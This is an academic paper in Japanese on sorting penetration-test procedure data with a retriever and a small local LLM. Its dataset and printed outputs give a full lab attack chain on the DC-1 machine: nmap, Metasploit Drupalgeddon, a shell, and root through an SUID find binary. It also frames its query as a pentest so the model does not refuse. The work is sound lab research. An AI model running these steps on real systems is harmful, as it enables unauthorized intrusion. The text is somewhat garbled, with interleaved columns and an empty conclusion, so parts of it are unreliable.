

Retriever と LLM を使用したペネトレーションテストの手順に関するデータの並び替えにおける精度の検証

横山 璃思^{1,a)} 小林 良太郎^{1,b)}

概要：本論文では、ペネトレーションテストの手順に関するデータを用意し、Retriever とローカル LLM でそれらを手順通りに並び替えることをテーマにそれぞれの精度について検証して評価を行う。本研究では、RAG を用いてウェブの脆弱性に対するペネトレーションテストに特化させたローカル LLM の構築を最終目標としており、手順通りに使用コマンドと説明を出力させることを想定している。本論文における研究は最終目標に向けた段階部分であり、RAG において LLM に補足情報として渡すデータの内容を改善することでデータ自体の有用性を高めることを目的としている。本論文における評価方法は、各手法による並び替え前後のデータの、データの順序とデータの出力数を比較することにより評価を行う。

キーワード：LLM, SLM, Retriever, RAG, データソート, ペネトレーションテスト

Accuracy Evaluation in Data Sorting for the Procedure of Penetration Test Using Retriever and LLM

RION YOKOYAMA^{1,a)} RYOTARO KOBAYASHI^{1,b)}

Abstract: In this paper, we prepare data related to the procedures of penetration testing and examine the accuracy of sorting these procedures with emphasis on sorting according to procedures using a retriever and a local LLM. The ultimate goal of this research is to build a local LLM specialized in web vulnerability penetration testing using RAG (Retrieval-Augmented Generation). The system is expected to output commands and explanations in the correct procedural order. The research presented in this paper represents a stage in achieving that final goal. Specifically, it aims to enhance the utility of the data itself by improving the content of the data provided to the LLM as supplementary information within the RAG framework. The evaluation method in this paper compares the pre- and post-sorting data for each approach, focusing on the sequence of the data and the number of outputs.

Keywords: LLM, SLM, Retriever, RAG, Data Sorting, Penetration Test

1. はじめに

近年、OpenAI 社の ChatGPT や Google 社の Gemini などを代表とする生成 AI が様々な分野で開発、活用されており、一般人でも使用できるオンラインサービスとしても提供されている。それらを構成する基盤となっている LLM (Large Language Model) は、自然言語処理に特化し

た学習がされたモデルであり、クラウド上で提供されるクラウド型 LLM と、ローカル環境でも動作できるようにダウンロードが許可されているローカル LLM に分けられる。ローカル LLM には、クラウド LLM とは異なり、オフラインで利用できる、入力した情報がモデルのプロバイダに集積されない、モデルのチューニングやカスタムが行いやすい、などといった利点がある。そのため、機密情報やプライバシーに関するデータを扱う企業や個人でのローカル LLM の需要は高まっている。しかし、ローカルで動作させる都合上、利用者が所有しているハードウェアのメモリサ

¹ 工学院大学

Kogakuin University, Shinjuku, Tokyo 163-8677, Japan

a) j122358@ns.kogakuin.ac.jp

b) ryo.kobayashi@cc.kogakuin.ac.jp

イズによって、ダウンロードできるモデルが制限されるという課題が存在する。加えて、サイズの小さいモデルは一般的に学習量も少ないため、サイズの大きいモデルに比べて精度の劣化や学習しているデータの専門性が低いといった傾向がある。これらの課題点から、ローカルLLMのサイズと精度の両立が課題となっている。この課題を解決するために、あらかじめ補足情報データを準備し、ベクトル類似度検索によって関連性の高い情報を選出するRetrieverと呼ばれる仕組みを利用し、その情報をLLMに与えて回答を生成させるRAG(Retrieval-Augmented Generation)手法が用いられている。用意する参照データを専門的なものにすることで、LLMが学習していない専門的な内容も回答させることができになる。

現在、セキュリティ分野でのLLMの活用例には、クラウドLLMを利用したペネトレーションテストの自動化や[1][2]、ローカルLLMを利用したペネトレーションテストの一部自動化がある[3]。本研究では、RAGを用いてウェブの脆弱性に対するペネトレーションテストに特化させたローカルLLMの構築を最終目標としており、手順通りに使用コマンドと説明を出力させることを想定している。

本論文では、ペネトレーションテストの手順に関するデータを用意し、RetrieverとローカルLLMでそれらを手順通りに並び替えることをテーマにそれぞれの精度について検証した。

本論文の構成は以下の通りである。まず第2章で関連研究について述べる。次に第3章で提案手法について述べ、第4章では評価方法について、第5章では提案手法による検証結果について述べる。それをもとに第6章で結論および今後の課題について述べる。

2. 関連研究

本研究では、LLMのペネトレーションテストへの活用を、RAGを用いてローカルLLMで実現することを目標としている。本章では、ペネトレーションテストとLLM、ペネトレーションテストとRAGを組み合わせた既存研究について述べ、最後に本研究の位置付けについて述べる。

2.1 ペネトレーションテストにLLMを用いた研究

ペネトレーションテストにLLMを用いた研究には、役割の異なる3つのモジュールにより構成される自動ペネトレーションテストのフレームワークであるPentestGPTがある[4]。計画・方針決定、手順・コマンド生成、出力要約・圧縮の役割を担う3つの各モジュールでLLMが使用されており、この研究では、OpenAI社のGPT-3.5やGPT-4などのモデルが用いられている。結果としては、PentestGPTとGPT-3.5、GPT-4でのペネトレーションテストのタスク達成度を比較すると、前者では+228.6%、後者では+58.6%の成果が得られたと報告されている。

2.2 ペネトレーションテストにRAGを用いた研究

ペネトレーションテストにRAGを用いた研究には、ローカルLLMにRAGを用いて知識の拡張を行い、自動ペネトレーションテストの一部を実現したものがある[5]。パラメータ数が7BのローカルLLM(Mistral-7B)を使用して、LoRA[6]で軽量ファインチューニングを行ったローカルLLMと、RAGによる追加知識の参照を行うローカルLLMを用いて、1コマンドごとにLLM実行を繰り返すことで自動ペネトレーションテストの実験を行った。実験として検証したのは、SUIDバイナリの悪用による権限昇格と、sudoersの誤設定を突いた権限昇格である。前者は、すべてのパターンのローカルLLMにおいて失敗した。一方で、後者はRAGを使用したローカルLLMのみ成功した。

2.3 本研究の位置付け

本研究では、RAGを用いてウェブの脆弱性に対するペネトレーションテストに特化させたローカルLLMの構築を最終目標としており、全体のシナリオとして手順通りに使用コマンドとその説明を出力させることを目標としている。

2.1節で述べた既存研究[4]は、保有パラメータ数が大きくオンライン利用の高性能のLLMを使用している。また、2.2節で述べた既存研究[5]は、ペネトレーションテストの手順ごとにLLMを使用し回答を生成している点と、ローカルLLMのパラメータ数が7Bと大きい点が本研究とは異なっている。

3. 提案手法

本論文では、ペネトレーションテストの実行手順を工程ごとに記したデータセットを用意し、RetrieverとローカルLLMでそれらを手順通りに並び替えることをテーマにそれぞれの精度について検証した。

3.1 検証環境

ここでは、使用したデータセットや検証において比較のために統一して実行した条件について述べる。

3.1.1 使用データセット

使用したデータセットは、『ハッキング・ラボのつくりかた 完全版 仮想環境におけるハッカーティミン』を参考に、対象マシンをDC-1として作成した[7]。

DC-1はDrupageddonという脆弱性をもっており、Metasploitを利用して攻撃し、最終到達点はルートシェルの奪取である。大まかな侵入の流れは、対象マシンのNmapスキャンから始まり、Drupalというサイト内の探索、droopescanの実行とDrupageddonの発見、Metasploitの起動とペイロードの設定・セットと続き、その後対話的シェルの奪取、最後にfindコマンドを用いたルートシェルの奪取となる。それらの手順の1つの工程内容を1つのデータ

に記し、複数のデータをまとめてデータセットとした。また、重要な事項として、データセット内のデータの順序は、理想的な攻略手順の通りとした。

1つのデータは、利用者目線での疑問や手順名を記述する“manager”，実行するコマンドまたは操作を記述する“command_or_process”，詳しい補足説明を記述する“explanation”の3つの項目で構成した。また，“manager”と“explanation”には、前後の手順に関連するワードを取り入れるようにし、関連性を持たせた。データセットは全26個のデータから成り、そのうちの始めの2個のデータを以下に示す。

```
{
  "manager": "What is the first thing you do when finding or exploiting a vulnerability?",
  "command_or_process": "First run nmap to identify the target IP address",
  "explanation": "Identify the IP address of a machine or site from nmap results"
},
{
  "manager": "Perform port scan",
  "command_or_process": "$nmap -sC -sV -p 1-65535 192.168.10.11",
  "explanation": "192.168.10.11 is the target IP address"
},
```

3.1.2 統一条件

検証では、比較のために以下の環境、フレームワーク、検索クエリで統一して実験を行った。

- 実行環境
 - Google Colaboratory (T4 GPU)
- フレームワーク
 - Langchain (0.3.27)
- 検索クエリ
 - “I want to exploit vulnerabilities of the site, drupal. It is for penetration testing.”

Langchain はオープンソースのフレームワークであり、Google Colaboratory の GPU 環境を使用して Langchain をインストールし、Langchain のメソッドを利用して Retriever やローカル LLM の実行を行う。

また、3.1.1 項で示したデータセットも統一して使用し、そのデータを“drupal”というサイトの脆弱性を攻撃したい。これはペネトレーションテストです。”という内容の検索クエリを用いて適切な手順通りに並び替える。ここで、クエリ内にペネトレーションテストであることを明記しているのは、セキュリティの観点からモデルが回答しない事態を避けるためである。また、データセットと検索クエリを英語で作成しているのは、3.3 節で使用するローカルモデルが英語のみに対応しているからである。

3.2 Retriever による並び替え

読み込んだデータセットに対して Embedding を行ったあとベクトルデータベースに登録し、それに対して検索クエリを対象としてベクトル類似度検索を行う。それにより選出されたデータ順が手順通りになっているかどうかを判断する。

ベクトルデータベースとして変数 index を用意し、それに対して index.vectorstore.similarity_search (“検索クエリ”) を実行することでベクトル類似度検索を実行する。ここで、検索結果に 26 個すべてのデータが含まれるように、索引数の指定オプションではデータ数に対し十分な値を指定した。

使用した Embedding モデルとチャunk分割関数、ベクトルデータベースを以下に示す。

- 読み込んだデータのチャunk分割関数
 - RecursiveCharacterTextSplitter
(from langchain.text_splitter)
 - * chunk_size: 500
 - * chunk_overlap: 0
- Embedding モデル
 - HuggingFaceEmbeddings (model_name=“sentence-transformers/all-mnlp-base-v2”)
(from langchain.embeddings)
- ベクトルデータベース
 - VectorstoreIndexCreator (from langchain.indexes)

3.3 ローカル LLM による並び替え

RAG を実行する際のプログラムを用いて、参照データの部分にデータセットをそのまま当てはめ、ローカル LLM の実行クエリで Retriever の際と同じ検索クエリと、“データの中から、次の質問的回答に必要なデータを関連度の高い順に選出せよ”という内容を英訳したクエリを与えて実行する。また、実行クエリでは、プログラムの都合により検索クエリをシングルクオーテーションで囲み記述した。

使用した AI プラットフォームとローカルモデル、テンプレート、実行クエリを以下に示す。

- AI プラットフォーム
 - Ollama (0.5.3)
- ローカルモデル
 - “hf.co/MaziyarPanahi/Qwen2.5-3B-Instruct-GGUF:Q8_0”
 - * パラメータ数: 3 B (30 億)
 - * 使用メモリサイズ: 3.29 GB
- テンプレート

```
template = """
Question: {question}
Context: {context}"""
```

```
Please use the following format to output.
```

```
manager:  
command_or_process:  
explanation:  
manager:  
command_or_process:  
explanation:  
manager:  
command_or_process:  
explanation:  
.....  
"""
```

```
},
```

4. 評価方法

本論文では、3章で提案した各手法による並び替え前後のデータを、データの順序とデータの出力数で比較することにより評価を行う。それぞれの評価方法を次に示す。

4.1 データの順序の評価

データの順序の評価には、レーベンシュタイン距離による類似度とバブルソートベース類似度の2つの類似度を使用する。

レーベンシュタイン距離による類似度は、一方の配列をもう一方の配列に変換する際に挿入、削除、置換といった操作の回数をもとに算出して、実行結果内の重複データはそのまま採用され、並び替え前のデータセットの全データに対しての順序評価となる。そのため、実行結果の出力データ数が多いほど高い評価、類似度となる。

バブルソートベース類似度は、本論文で新たに導入した評価指標である。ある配列を他の配列へとバブルソートで並び替える際に必要となるデータ交換回数に基づいており、実行結果内の重複データを除き、並び替え前のデータセットとの共通データのみに対しての順序評価となる。交換回数から類似度への変換には、実際の交換回数を最大交換回数で割った値を正規化する式(1)を用いた。共通データ数をn、実際の交換回数をmとしている。実行結果の出力データ数が多いほど共通データ数も増えるため、評価結果が安定する。ローカルLLMでの実行では計40回実行し、出力データ数が15個以上のものを採用することにする。

$$y = 1 - \frac{m}{\frac{n(n-1)}{2}} \quad (1)$$

類似度の算出は、具体的には次の流れで行った。まず、使用するデータセットの各手順データを1から26の一意の数字に置き換え、データセットの数字配列を作成した。この際の手順データと数字の組は、今回の検証における基準の組とし、一貫して使用した。また、1つの出力データが複数の手順データの複合になっていると判断した場合は0を与えた。次に、実行結果の各手順データも先ほどの基準の組に倣って数字に置き換え、実行結果を数字配列に変換した。このとき、データ内の項目である“command_or_process”的内容を基準に手順データの数字への変換を手動で行った。最後に、並び替え前のデータセットと並び替え実行後の結果の2つの数字配列を用いて、レーベンシュタイン距離による類似度とバブルソートベース類似度を算出した。

4.2 データの出力数の評価

データの出力数の評価には、各手法の実行における平均出力データ数と、出力データ数の多い実行結果を必要数得

● 実行クエリ

- “From the data, select the data necessary to answer the next question, ‘I want to exploit vulnerabilities of the site, drupal. It is for penetration testing.’, in order of relevance.”

テンプレートでは、出力の表示形式に関する指示を与えることができる。RAGで使用する参照データに該当する変数がcontextであり、LLM実行前にこの変数にデータセットを格納する。

AIプラットフォームであるOllamaは、様々なLLMモデルに対応しており、モデルのダウンロードが簡単に行える。今回は、Ollamaを利用しパラメータ数が3Bのモデルをインポートした。使用モデルの選定は、比較的メモリサイズが小さく性能の良いモデルを探して決定した。

3.4 使用するデータの順番を変更した並び替え

データセット内のデータの順番による回答結果への影響を確認するため、3.1.1項で示した理想の手順通りのデータセットを、内容は変えずにデータの順序だけランダムに変更して検証を行った。データの順を変えた共通のデータセットを用いて、再度RetrieverとローカルLLMの2パターンの方法でデータの並び替えを実行した。実行環境については、使用するデータセット内のデータ順序以外の条件は3.2節および3.3節から変更せずに実行した。

順序変更後のデータセットの全26個のデータのうち、始めの2個のデータを以下に示す。

```
{  
  "manager": "Search for exploits matching the version",  
  "command_or_process": "Visit Exploit Database (https://www.exploit-db.com) to search for vulnerabilities by service name and version",  
  "explanation": "Prioritize vulnerabilities marked as Verified"  
},  
{  
  "manager": "Exploit the Drupalgeddon vulnerability",  
  "command_or_process": "Boot Metasploit and search exploit for the sit. After the, nset module and run",  
  "explanation": "use Metasploit"
```

るためにかかった実行回数を使用する。

5. 提案手法の実行結果と評価

3章で提案した手法で検証を行い、4章で示した評価方法で評価を行った。Retrieverを用いたデータの並び替えと、ローカルLLMのRAGの仕組みを用いたデータの並び替えの精度を検証する。また、使用するデータセット内のデータ順を理想の手順からランダムな順に変更した場合における、それぞれの方法での回答結果への影響を調査する。

5.1 RetrieverとローカルLLMでの実行結果と評価

Retrieverによる並び替えとローカルLLMによる並び替えを実行し、得られた複数の結果を用いて、データの順序、データの出力数、各データ内容の再現度の評価を行った。

5.1.1 RetrieverとローカルLLMでの実行結果

Retrieverによる並び替えでは、実行回数によらず以下の結果1が一貫して得られた。ローカルLLMによる並び替えでは、実行ごとに結果の出力データ数が2個から23個の範囲で変動した。全40回の実行の中で出力データ数が23個と最も多かった際の実行結果を結果2に示す。

結果1: Retrieverでの並び替え実行結果

```
Manager: Set up the exploit module in Metasploit
Command or Process: $use exploit/multi/http/drupal_drupageddon
Explanation: exploit/multi/http/drupal_drupageddon is example of exploit module

Manager: Exploit the Drupalgeddon vulnerability
Command or Process: Root Metasploit and search exploit for the sit. eAfter the,
    nset module and run
Explanation: use Metasploit
```

```
Manager: Search for Drupal exploits managed by Metasploit
Command or Process: $search type:exploit drupal
Explanation: Search results display available modules
```

```
Manager: What is the first thing you do when finding or exploiting a vulnerability?
Command or Process: First run nmap to identify the target IP address
Explanation: Identify the IP address of a machine or site from nmap results
```

```
Manager: Run exploit module
Command or Process: $run
Explanation: Run the above command to launch exploit module
```

```
Manager: To narrow down the version in detail, lscan Drupa,
    sand Joomla! with droopescan
Command or Process: $droopescan scan drupal -u http://192.168.10.11:80/
Explanation: http://192.168.10.11:80/ is the target site's URL
```

```
Manager: Search for vulnerabilities in home directory
Command or Process: $cd /home ,$ls -la ,$cd flag4 ,$ls -la ,$cat flag4.txt
Explanation: Navigate through the home directory to locate a flag fil.
    eThe contents of 'flag4.txt' can be displayed using the cat command.
```

```
Manager: Search for exploits matching the version
Command or Process: Visit Exploit Database (https://www.exploit-db.com) to search for vuln
    erabilities by service name and version
Explanation: Prioritize vulnerabilities marked as Verified
```

```
Manager: Set attacker's IP in LHOSTS
Command or Process: $set LHOSTS 192.168.10.101
Explanation: After setting the payload using the $use command,
    dset the attacker's own IP address in LHOSTS.
```

```
Manager: Check GTF0bins for 'find' command privilege escalation
Command or Process: Visit https://gtf0bins.github.io and search for 'find'
Explanation: GTF0bins is a website that provides privilege escalation techniques using sta
    ndard Linux command,
    saiding in exploitation.
```

```
Manager: Port scan reveals 22/tcp, p80/tcp, p111/tcp, p36165/tcp open
Command or Process: The target machine is likely DC-1
Explanation: As the first step in exploatio, naccess http://192.168.10.11 (192.168.10.11
    is the IP address used during port scanning)
```

```
Manager: List files in '/var/www' directory
Command or Process: $ls
Explanation: Once the Meterpreter session is established using the $run command, dexecute t
    he command to list files in the '/var/www' directory on the DC-1 machine.
```

```
Manager: Check OS and version for privilege escalation
Command or Process: $uname -a
Explanation: The OS version can be determined from the PRETTY_NAME field in the output,
    taiding in identifying kernel-based vulnerabilities.
```

```
Manager: robots.txt contains MAINTAINERS.txt
Command or Process: Access http://192.168.10.11/MAINTAINERS.txt to obtain version and othe
    r information
Explanation: 192.168.10.11 is the IP address of the site containing robots.txt
```

```
Manager: Exploit 'find' command to gain a shell
Command or Process: $which find ,$/usr/bin/find . -exec /bin/bash -p \; -quit
Explanation: Executing this command using the SUID-enabled 'find' binary grants root shell
    access.
```

```
Manager: Set target IP in RHOSTS
Command or Process: $set RHOSTS 192.168.10.11
Explanation: After setting the payload using the $use command,
    set the target machine's IP address in RHOSTS.
```

```
Manager: Actions when 80/tcp is open
Command or Process: Open http://192.168.10.11 in a browser
Explanation: 192.168.10.11 is the IP address used during port scanning
```

```
Manager: Read 'flag1.txt' file
Command or Process: $cat flag1.txt
Explanation: Execute this command in the Meterpreter prompt to display the contents of 'fl
    ag1.txt' inside the '/var/www' directory.
```

```
Manager: Accessing DC-1's IP address shows a Drupal site
Command or Process: Access http://192.168.10.11/robots.txt and check for the file
Explanation: A commonly used robots.txt file might exist
```

```
Manager: Perform port scan
Command or Process: $nmap -sC -sV -p 1-65535 192.168.10.11
Explanation: 192.168.10.11 is the target IP address
```

```
Manager: Upgrade to an interactive shell
Command or Process: $which python -c 'import pty; pty.spawn("/bin/bash")'
Explanation: Executing this command spawns an interactive shel,
    lreturning the prompt 'www-data@DC-1:/var/www/'.
```

```
Manager: Search for SUID files
Command or Process: $cd / ,$find / -perm -u=s -type f 2> /dev/null
Explanation: This command lists all files with SUID permission.
    It confirms that '/usr/bin/find' has SUID enabled.
```

```
Manager: Investigate temporary files
Command or Process: Check '/tm, p''/var/tm, p'and '/dev/shm' directories
Explanation: Since no useful information is found in these directorie,
    sproceed to search for SUID files for privilege escalation.
```

```
Manager: Retrieve the final flag from '/root'
Command or Process: $cd /root ,$ls ,$cat thefinalflag.txt
Explanation: Navigating to the '/root' directory and reading 'thefinalflag.txt' confirms s
    uccessful privilege escalation and completes the challenge.
```

```
Manager: Boot Metasploit
Command or Process: $msfconsole
Explanation: Run the above command to launch Metasploit
```

```
Manager: Obtain a shell
Command or Process: $shell
Explanation: After executing this command, dno output will be displaye,
    dbut a shell has been successfully obtained, dallowing further command execution.
```

結果2: ローカルLLMでの並び替え実行結果

```
manager: What is the first thing you do when finding or exploiting a vulnerability?
command_or_process: First run nmap to identify the target IP address
explanation: Identify the IP address of a machine or site from nmap results
```

```
manager: Perform port scan
command_or_process: $nmap -sC -sV -p 1-65535 192.168.10.11
explanation: 192.168.10.11 is the target IP address
```

```
manager: Port scan reveals 22/tcp, 80/tcp, 111/tcp, 36165/tcp open
command_or_process: The target machine is likely DC-1
explanation: As the first step in exploitation, access http://192.168.10.11 (192.168.10.11
    is the IP address used during port scanning)
```

```
manager: Actions when 80/tcp is open
command_or_process: Open http://192.168.10.11 in a browser
explanation: 192.168.10.11 is the IP address used during port scanning
```

```
manager: Accessing DC-1's IP address shows a Drupal site
command_or_process: Access http://192.168.10.11/robots.txt and check for the file
explanation: A commonly used robots.txt file might exist
```

```
manager: robots.txt contains MAINTAINERS.txt
command_or_process: Access http://192.168.10.11/MAINTAINERS.txt to obtain version and othe
    r information
explanation: 192.168.10.11 is the IP address of the site containing robots.txt
```

```
manager: To narrow down the version in detail, scan Drupal, WordPress, and Joomla! with dr
    oopescan
command_or_process: $droopescan scan drupal -u http://192.168.10.11:80/
explanation: http://192.168.10.11:80/ is the target site's URL
```

```
manager: Search for exploits matching the version
command_or_process: Visit Exploit Database (https://www.exploit-db.com) to search for vuln
    erabilities by service name and version
explanation: Prioritize vulnerabilities marked as Verified
```

```
manager: Set up the exploit module in Metasploit
command_or_process: $use exploit/multi/http/drupal_drupageddon
explanation: exploit/multi/http/drupal_drupageddon is example of exploit module
```

```
manager: Set target IP in RHOSTS
command_or_process: $set RHOSTS 192.168.10.11
explanation: After setting the payload using the $use command, set the target machine's IP
    address in RHOSTS.
```

```
manager: Set attacker's IP in LHOSTS
command_or_process: $set LHOSTS 192.168.10.101
explanation: After setting the payload using the $use command, set the attacker's own IP a
    ddress in LHOSTS.
```

```
manager: Run exploit module
command_or_process: $run
explanation: Run the above command to launch exploit module
```

```
manager: List files in '/var/www' directory
command_or_process: $ls
```

```

explanation: Once the Meterpreter session is established using the $run command, execute t
his command to list files in the '/var/www' directory on the DC-1 machine.

manager: Read 'flag1.txt' file
command_or_process: $cat flag1.txt
explanation: Execute this command in the Meterpreter prompt to display the contents of 'fl
ag1.txt' inside the '/var/www' directory.

manager: Obtain a shell
command_or_process: $shell
explanation: After executing this command, no output will be displayed, but a shell has be
en successfully obtained, allowing further command execution.

manager: Upgrade to an interactive shell
command_or_process: $which python /$python -c 'import pty; pty.spawn("/bin/bash")'
explanation: Executing this command spawns an interactive shell, returning the prompt 'ww
w-data@DC-1:/var/www$'.

manager: Check OS and version for privilege escalation
command_or_process: $uname -a
explanation: The OS version can be determined from the PRETTY_NAME field in the output, ai
ding in identifying kernel-based vulnerabilities.

manager: Search for vulnerabilities in home directory
command_or_process: $cd /home,$ls -la,$cd flag4,$ls -la,$cat flag4.txt
explanation: Navigate through the home directory to locate a flag file. The contents of 'f
lag4.txt' can be displayed using the cat command.

manager: Investigate temporary files
command_or_process: Check '/tmp', '/var/tmp', and '/dev/shm' directories
explanation: Since no useful information is found in these directories, proceed to search
for SUID files for privilege escalation.

manager: Search for SUID files
command_or_process: $cd /,$find / -perm -u=s -type f 2> /dev/null
explanation: This command lists all files with SUID permissions. It confirms that '/usr/bi
n/find' has SUID enabled.

manager: Check GTFOBins for 'find' command privilege escalation
command_or_process: Visit https://gtfoins.github.io and search for 'find'
explanation: GTFOBins is a website that provides privilege escalation techniques using sta
ndard Linux commands, aiding in exploitation.

manager: Exploit 'find' command to gain a shell
command_or_process: $which find,$/usr/bin/find . -exec /bin/bash -p \\\\"; -quit
explanation: Executing this command using the SUID-enabled 'find' binary grants root shell
access.

manager: Retrieve the final flag from '/root'
command_or_process: $cd /root,$ls,$cat thefinalflag.txt
explanation: Navigating to the '/root' directory and reading 'thefinalflag.txt' confirms s
uccessful privilege escalation and completes the challenge.

```

5.1.2 Retriever とローカル LLM の精度評価

まず、Retriever とローカル LLM での並び替えにおける順序評価を行った。並び替え前のデータセットと並び替え後の実行結果のデータ順序の類似度を、レーベンシュタイン距離による類似度とバブルソートベース類似度を用いて算出した。実行により出力されたデータ数と、それらのデータと並び替え前のデータセットを比較して共通しているデータの数、レーベンシュタイン距離による類似度 (L)、バブルソートベース類似度 (B) を表にまとめた。Retriever の評価結果を表 1 に、ローカル LLM の評価結果を表 2 に示す。ローカル LLM の評価では、出力データ数の多いものから順に 5 つの結果を採用した。

次に、データの出力数の評価を行った。Retriever での並び替えでは、26 個のすべてのデータをそれぞれ 1 個ずつ出力することができた。一方、ローカル LLM での並び替えでは、各実行ごとに出力データ数が 2 個から 30 個とばらつきがあり、出力データ数が 15 個以上の結果を 5 つ得るのに 36 回の実行が必要であった。計 40 回の実行の結果の平均出力データ数は 10.65 個となった。また、出力データ数が 10 個以上であった結果は 22 個、15 個以上であった結果は 5 個、20 個以上であった結果は 2 個であった。

表 1: Retriever の順序評価

	出力データ数	共通データ数	類似度 (L)	類似度 (B)
(1)	26	26	0.0769	0.6000

表 2: ローカル LLM の順序評価

	出力データ数	共通データ数	類似度 (L)	類似度 (B)
(1)	23	23	0.8846	1.0000
(2)	21	21	0.8077	1.0000
(3)	19	19	0.7308	1.0000
(4)	19	19	0.7308	1.0000
(5)	19	18	0.6923	1.0000

5.2 使用するデータの順番が及ぼす影響

ペネトレーションテストの手順に関するデータの並び替えにおいて、使用するデータセットの順を 3.1.1 項の理想的な順とは別のランダムな順に変更し、Retriever とローカル LLM による並び替えを実行した。

5.2.1 ランダム順データセットに変更後の Retriever とローカル LLM での実行結果

Retriever による並び替えを実行した結果、5.1 節 結果 1 のランダムな順に変更する前の Retriever による並び替えの結果と全く同じ結果となった。ローカル LLM による並び替えでは、実行ごとに結果の出力データ数が 1 個から 24 個の範囲で変動した。全 40 回の実行の中で出力データ数が 24 個と最も多かった際の実行結果を結果 3 に示す。

結果 3: ランダム順データセットに変更後のローカル LLM での並び替え実行結果

```

manager: Boot Metasploit
command_or_process: $msfconsole
explanation:
manager: Search for exploits matching the version
command_or_process: $search type:exploit drupal
explanation:
manager: Set up the exploit module in Metasploit
command_or_process: $use exploit/multi/http/drupal_drupageddon
explanation:
manager: Upgrade to an interactive shell
command_or_process: $shell
explanation:
manager: Check OS and version for privilege escalation
command_or_process: $uname -a
explanation:
manager: Exploit the Drupaleddon vulnerability
command_or_process: Boot Metasploit and search exploit for the site. After then, set modul
e and run
explanation:
manager: Set attacker's IP in LHOSTS
command_or_process: $set LHOSTS 192.168.10.101
explanation:
manager: Check OS and version for privilege escalation
command_or_process: $uname -a
explanation:
manager: Upgrade to an interactive shell
command_or_process: $shell
explanation:
manager: Set target IP in RHOSTS
command_or_process: $set RHOSTS 192.168.10.11
explanation:
manager: List files in '/var/www' directory
command_or_process: $ls
explanation:
manager: Perform port scan
command_or_process: $nmap -sC -sV -p 1-65535 192.168.10.11
explanation:
manager: Investigate temporary files
command_or_process: Check '/tmp', '/var/tmp', and '/dev/shm' directories
explanation:
manager: Search for SUID files
command_or_process: $cd /,$find / -perm -u=s -type f 2> /dev/null
explanation:
manager: Exploit the Drupaleddon vulnerability
command_or_process: Boot Metasploit and search exploit for the site. After then, set modul
e and run
explanation:
manager: Set attacker's IP in LHOSTS
command_or_process: $set LHOSTS 192.168.10.101
explanation:
manager: Upgrade to an interactive shell
command_or_process: $shell
explanation:
manager: Search for Drupal exploits managed by Metasploit
command_or_process: $search type:exploit drupal
explanation:
manager: Set target IP in RHOSTS
command_or_process: $set RHOSTS 192.168.10.11
explanation:
manager: List files in '/var/www' directory
command_or_process: $ls

```

```

explanation:
manager: Upgrade to an interactive shell
command_or_process: $shell
explanation:
manager: Set attacker's IP in LHOSTS
command_or_process: $set LHOSTS 192.168.10.101
explanation:
manager: Obtain a shell
command_or_process: $shell
explanation:
manager: Port scan reveals 22/tcp, 80/tcp, 111/tcp, 36165/tcp open
command_or_process: The target machine is likely DC-1
explanation:

```

5.2.2 ランダム順データセットに変更後のローカル LLM の精度評価

元の理想順データセットを使用した際と同様に、ランダム順データセットに変更後のローカル LLM の精度評価を行った。

まず、ローカル LLM での並び替えにおける順序評価では、同様にレーベンシュタイン距離による類似度 (L) とバブルソートベース類似度 (B) を算出したが、本節ではランダム順データセットと比較して類似度を算出するパターンと、変更前の元の理想順データセットと比較して類似度を算出するパターンの 2 パターンを計算した。出力データ数の多いものから順に 5 つの結果を採用し、ランダム順データセットと比較した評価結果を表 3 に、変更前の元の理想順データセットと比較した評価結果を表 4 に示す。

次に、データの出力数の評価を行った。こちらでも各実行ごとに出力データ数が 1 個から 24 個とばらつきがあり、出力データ数が 15 個以上の結果を 5 つ得るのに 40 回の実行が必要であった。計 40 回の実行の結果の平均出力データ数は 8.7 個となった。また、出力データ数が 10 個以上であった結果は 14 個、15 個以上であった結果は 5 個、20 個以上であった結果は 2 個であった。

表 3: ローカル LLM のランダム順データセットと比較した順序評価

	出力データ数	共通データ数	類似度 (L)	類似度 (B)
(1)	24	24	0.2308	0.6341
(2)	24	23	0.8077	0.9881
(3)	18	18	0.2308	0.7320
(4)	15	15	0.2308	0.7238
(5)	15	10	0.1538	0.7111

表 4: ローカル LLM の元の理想順データセットと比較した順序評価

	出力データ数	共通データ数	類似度 (L)	類似度 (B)
(1)	24	24	0.0385	0.5616
(2)	24	23	0.1538	0.4941
(3)	18	18	0.1154	0.4248
(4)	15	15	0.1923	0.5619
(5)	15	10	0.1923	0.5333

5.2.3 ランダム順データセットでローカル LLM の実行クエリの脆弱性名を具体的にした場合

ランダム順データセットを使用したローカル LLM での実行で、実行クエリ内の検索クエリを、具体的な脆弱性の名称である Drupalgeddon というワードを含めたクエリに変更して実行した結果を結果 4 に示す。回答に含まれるデータの内容は Drupalgeddon が判明してから実行する手段に関するデータのみになったが、そのデータ順はデータセット内のデータの順に一致していた。

結果 4: ローカル LLM での並び替え実行結果

```

manager: Search for Drupal exploits managed by Metasploit
command_or_process: $search type:exploit drupal
explanation:
manager: Boot Metasploit
command_or_process: $msfconsole
explanation:
manager: Set up the exploit module in Metasploit
command_or_process: $use exploit/multi/http/drupal_drupageddon
explanation:

```

5.3 考察

Retriever での並び替えでは、データセット内のデータの順が理想順であるかランダム順であるかどうかに関わらず、同じ出力結果を得ることができた。また、この結果は Retriever の仕組みから考えても納得のできる結果であった。

ローカル LLM での並び替えでは、理想順のデータセットを使用した場合で、バブルソートベース類似度が出力データ数の多い 5 つの結果すべて 1.0000 となった。これは、理想順データセットと出力データとの共通データ間で完全に順序が一致していることを意味する。また、ランダム順データセットを使用した場合でも、バブルソートベース類似度が採用した 5 つのデータのすべてにおいて、理想順データセットと比較した場合よりも使用したランダム順データセットと比較した場合のほうが高くなっていた。これらのことより、ローカル LLM では出力データのデータ順が、使用したデータセットの順と同一になりやすいことがわかった。

さらに、ランダム順データセットでローカル LLM の実行クエリの脆弱性名を具体的にした場合では、出力されるデータは記載した脆弱性に関連の高い手順のデータに絞られたが、その順は改善せず使用したランダム順データセットのデータ順に近いものになっていた。

以上のことから、サイズの小さいローカル LLM ではデータの取捨選択はできるが、データの並び替えにおいては使用するデータセットのデータ順に依存しやすいと考えられる。

また、ローカル LLM によるデータ出力の精度に関しては、実行ごとにデータ出力数に大幅な差があり、不安定であることがわかった。加えて、レーベンシュタイン距離による類似度をみると、バブルソートベース類似度よりも値が低く、データの重複による減点が大きくなっていること

から、重複データの出力が課題として挙げられる。

6. 結論・今後の課題

